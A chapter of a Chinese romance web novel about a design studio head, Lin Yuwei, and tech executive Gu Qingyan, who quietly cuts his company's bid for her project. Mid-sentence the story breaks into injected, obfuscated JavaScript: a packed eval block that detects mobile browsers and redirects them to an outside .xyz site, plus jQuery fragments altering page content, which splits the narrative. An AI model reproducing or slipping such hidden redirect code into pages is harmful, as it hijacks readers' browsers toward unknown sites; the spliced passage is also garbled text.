会议室内一片寂静，只有林予薇清亮的声音在回荡，顾清言凝视着她，眼中流露出专业的认可：“很专业的方案，启辰需要进一步评估这些技术细节，明天会给贵团队详细的技术评估报告以及项目预算。”


    当启辰团队离开时，几位工程师都不由自主地多看了林予薇一眼，眼中满是敬佩。小雨忍不住小声说：“林老师，你们刚才的对话太专业了，我差点跟不上……”


    回程的商务车内，气氛比来时轻松了不少，小雨终于忍不住长舒一口气，瘫靠在椅背上：“哎，你们说，咱们之前还羡慕启辰的人，天天能在顶级写字楼里上班，周围还全是养眼的精英帅哥，这简直是偶像剧配置啊！但是进去一趟，我发现自己没那个实力去羡慕。”


    陈璐推了推眼镜，心有戚戚焉地点头：“是啊，刚进去的时候我也这么想，环境没得挑，人也确实个个都像从财经杂志里走出来的，但是……”她话锋一转，做了个心有余悸的表情：“等那位顾总一开口，我这点羡慕瞬间就烟消云散了。”


    “对吧对吧！”小雨立刻坐直了身体：“他看向我的时候，我大气都不敢出，感觉自己像考试作弊被当场抓包的小学生！要是他是老板，我会原地吓死几十遍。”


    这时，一直安静聆听的李晓摇摇头，发表了不同的意见：“要我说啊，在咱们工作室工作是最好的，工作氛围好，就算想看帅哥也不用羡慕别人。”她说着，意有所指地瞥了一眼坐在林予薇身边的周叙白：“咱们周总这样的，无论是颜值还是气质，也一点都不输给顾总好吧？而且脾气好多了，至少不会让人害怕得想写辞职信。”


    车内顿时响起一片会意的笑声，周叙白被说得有些不好意思，他温和地笑道：“李晓这是给我留面子呢，顾总的气场确实与众不同，这点我得承认。”


    他转向林予薇，眼中带着赞赏的笑意：“不过说到今天最让我佩服的，还是予薇，在那么大的压力下，还能那么从容不迫，对答如流。”


    他说话时目光始终温柔地落在林予薇身上：“说真的，当你开始讲解设计理念的时候，连启辰的那些工程师都被你的专业素养折服了，顾总虽然严厉，但最后也不得不认可你的方案。”


    小雨立刻附和：“周总说得对！予薇姐刚才简直在发光！特别是你和顾总对话的时候，那个气场一点都不输给他。”


    周叙白微微一笑，语气中带着几分骄傲：“这就是专业的力量，予薇对艺术设计的理解和坚持，才是这个项目的灵魂所在。”


    众人都笑了起来，车内的气氛更加轻松，周叙白看向林予薇，声音温柔了几分：“累了么？回去好好休息一下，今天确实辛苦了。”


    他的体贴让林予薇心中一暖，她轻声回应：“我还好，不累，今天大家表现得都很棒，术业有专攻，我们是艺术设计团队，不需要在计算机的领域和启辰科技比，后续和他们的沟通时要自信起来，绝不能让步。”


    周叙白点点头，目光中满是欣赏：“是你带领得好，说实在的，经过今天这一场，我更确信这个项目只有你能驾驭得了。”


    ****


    林予薇收到启辰科技发来的项目评估报告和合作草案时，已是华灯初上。


    她泡了杯咖啡，坐在办公桌前仔细翻阅，报告做得极其专业，技术可行性分析一针见血，解决方案精准到位。然而，当她翻到最后一页的报价单时，握着咖啡杯的手顿住了，那个数字低得不可思议，几乎刚好覆盖基础成本。


    “这不可能……接手工程这么大，报价竟然和智创互联当初的报价不相上下。”她立刻让助理小李联系启辰的项目对接人确认。一小时后，小李带回消息：“林老师，启辰那边确认了，就是这个报价，说是……顾总亲自定的。”


    “顾清言亲自定的？”林予薇更加不解，难道……可是顾清言早已不是对自己言听计从的影子，怎么会因为过去的爱恨纠缠给项目做真金白银的降价？


    第二天，小李借着送补充材料的机会，特地去了趟启辰科技，回来时，他神秘兮兮地凑到林予薇办公室。


    “林老师，我打听到了一些事情！”小李压低声音：“启辰项目部的人说，他们最初提的报价比现在这个高了整整60%，被顾总直接驳回了。”


    林予薇怔住了：“为什么？”


    “听说顾总在内部会议上说，这个项目的文化价值不能单纯用金钱衡量，还动用了公司的‘文化遗产支持基金’来补贴成本……项目部的人都说，这是启辰头一回为一个小型项目动用这个基金。”


    林予薇挥手让小李先出去，门轻轻合上，她独自站在落地窗前，望着窗外的风景，心中波澜起伏，五味杂陈。


    车流如织，这座城市的繁华此刻却仿佛与她隔着一层玻璃，她终于确信，那份低得反常的报价背后，是顾清言毫不犹豫的支持和认可，他没有丝毫施舍的姿态，甚至不愿意让她知道真相，只是用最专业、最尊重她的方式，给了她和她的团队最需要的、最及时的帮助。


    一种复杂的情绪在她心中蔓延，是感激，是惊讶，或许还有一丝难以言喻的触动，她想起会议上他犀利却专业的问题，想起他冷峻外表下可能隐藏的细致与体贴。


    她轻轻叹了一口气，修长的手指划开了手机屏幕，指尖在对话框上方犹豫着，打了很长一段文字，想要表达这份复杂的感谢与理解。


    “顾总，今天收到了正式的合同草案，非常感谢您和启辰团队的专业与高效。对于报价部分，虽然您未曾多言，但我深知其中的分量与意义。这份支持，于我，于拾光，都至关重要。这份信任，我们绝不会辜负。”


    她读了一遍，觉得太过正式，删掉了后半部分。


    “顾总，合同已收到。真的很谢谢您。我知道您可能并不需要我的感谢，但我还是想说，这份雪中送炭的情谊，我和我的团队都会铭记在心。”


    又读了一遍，似乎又显得过于感性，与他那公事公办的态度不符。


    她删删减减，反复斟酌，最终，所有复杂的情绪化作了一句简洁却意味深长的话。她深吸一口气，按下了发送键。


    手机屏幕上，只留下一行看似平常却承载了千言万语的消息：


    “顾总，谢谢你，期待后续的合作。”


    ****


    与此同时，启辰科技总裁办公室内。


    副总裁陆明斜靠在顾清言的办公桌前，手里晃悠着刚刚签署的项目文件，脸上挂着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289455|181203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    玩味的笑容：“顾总，解释解释？这单子赔本赚吆喝？这可不像是你的风格啊。”


    顾清言头也没抬，继续批阅着手中的文件，语气平淡：“公司战略需要，树立行业标杆。”


    陆明胳膊肘撑在顾清言的办公桌上，笑得像只成了精的狐狸，压低了声音：“哦——！我算是彻底明白了！”


    顾清言从文件上抬起眼，没什么表情地看着他。


    “怪不得当初死活不让项目部去竞标这个项目。”陆明拖长了调子，手指虚空点着顾清言：“自己又一直留意着那边的动静，原来是在这儿等着呢！”


    他猛地一拍手，脸上写满了“我可算逮着你了”的得意：“真正的猎手，果然都是以猎物的方式出现！就等着美人被逼到绝境，自己主动上门求救，高啊！老顾，实在是高！这一手欲擒故纵玩得漂亮！”


    顾清言面无表情地听完他这番慷慨激昂的“剖析”，只是淡淡地重新低下头，笔尖在文件上划过，语气平静无波：“过奖，之前不投标，是觉得很多事情强求不来，如今这般，不过是恰逢其会，天时地利人和罢了。”他这话说得四平八稳，公事公办，听不出半点私心。


    陆明才不信他这套鬼话，嘿嘿一笑，凑近了些，用更欠揍的语气说：“行行行，天时地利人和。不过说真的，”他收起一点玩笑神色，带上几分真心实意的赞叹：“你看上的这位林小姐，确实厉害，昨天就来那么一趟，技术部那帮眼高于顶的家伙回来都在讨论她，说人长得跟明星似的也就罢了，专业能力还那么强，对答如流，气场十足，把咱们的工程师都迷得七荤八素的，可惜我昨天出差了，要不然也能一睹芳容。”他用手肘碰了碰顾清言：“弱水三千，只取一瓢饮，眼光毒啊，顾总。”


    顾清言翻阅文件的手指几不可察地顿了一下，随即恢复如常，只是淡淡应了一句：“她一直都很优秀。”语气听不出什么波澜，却也没有反驳陆明那句“你看上的”。


    陆明像是抓住了什么天大的把柄，立刻眉开眼笑：“哟，这就护上了？那我可就祝你最后不仅能顺利‘抱得美人归’，最好还能连本带利，把这点经济上的‘亏损’都给弥补回来！”


    顾清言终于再次抬眼，冷冷地瞥了他一下，惜字如金：“说完了？说完了可以出去工作了。”


    陆明达到目的，心满意足地直起身，一边笑着摇头一边往外走：“啧，有些人啊，嘴上说着不强求，身体倒是诚实得很呐……”回应他的，是顾清言精准扔向他后背的一个文件夹，陆明大笑着敏捷地闪身带上门溜了。


    办公室里重归寂静，顾清言的目光却并未立刻回到文件上，他指尖在屏幕上一划，那条来自林予薇的简短消息再次浮现：顾总，谢谢你，期待后续的合作。


    他的目光在那行字上停留了片刻，指尖无意识地摩挲着冰凉的手机边缘，无人看见的唇角，似乎极轻微地勾动了一下，仿佛冰雪初融的一道细微裂痕，转瞬即逝。


    他最终没有回复，只是将手机屏幕按熄，反扣在桌面上。重新拿起钢笔时，他的目光似乎比平时柔和了半分，但很快便再次沉浸于工作中，仿佛刚才那片刻的失神从未发生过，只有他自己知道，某种难以言喻的期待，已然悄然种下。